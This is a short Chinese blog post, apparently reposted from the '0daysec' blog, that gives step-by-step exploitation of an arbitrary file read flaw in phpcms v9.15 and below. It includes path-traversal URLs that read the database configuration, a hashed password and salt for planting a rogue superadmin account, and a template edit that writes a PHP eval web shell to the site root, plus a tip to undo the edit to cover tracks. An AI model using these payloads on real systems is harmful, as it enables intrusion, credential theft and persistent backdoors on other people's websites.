首页 > 代码库 > phpcmsv9.15以下任意文件读取漏洞
phpcmsv9.15以下任意文件读取漏洞
http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php
成功读取数据库信息如下:
爆网站路径:
http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php
打开phpcmsV9数据库并且找到admin表,向表中添加一条数据,因为我们没法破解他的密码那么咱们就自己
添加一个用户以便能够登录后台操作:
Username:admin password: 748b4dfa3a7159c1eb1baa46f222f9b8 roleid:1 encrypt:C6mB9p
注意这几项必须添负责登录不了的。应为这条记录的意思是添加用户名为admin,密码为:creturn.com的超级管理员
后台登录地址:localhost/index.php?m=admin
用户名:admin 密码:creturn.com
登录后台后我们找到界面-》模版风格-》选择默认模版点击详情列表
然后点击里面的search目录下面的index.html右侧的编辑
修改其模版为:
<?php $shell = ‘<?php @eval($_POST[cmd]);?>‘;file_put_contents(‘shell.php‘,$shell);?>
复制代码
提交保存
然后访问:localhost/index.php?m=search
会在根目录生成一个shell.php的一句话,我们连接看看
可以看到已经拿到shell,记得把修改的模版改回去。
或者可以直接通过mysql数据库及爆出的路径写一句话
本文出自 “0daysec” 博客,请务必保留此出处http://0daysec.blog.51cto.com/9327043/1571395
phpcmsv9.15以下任意文件读取漏洞
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。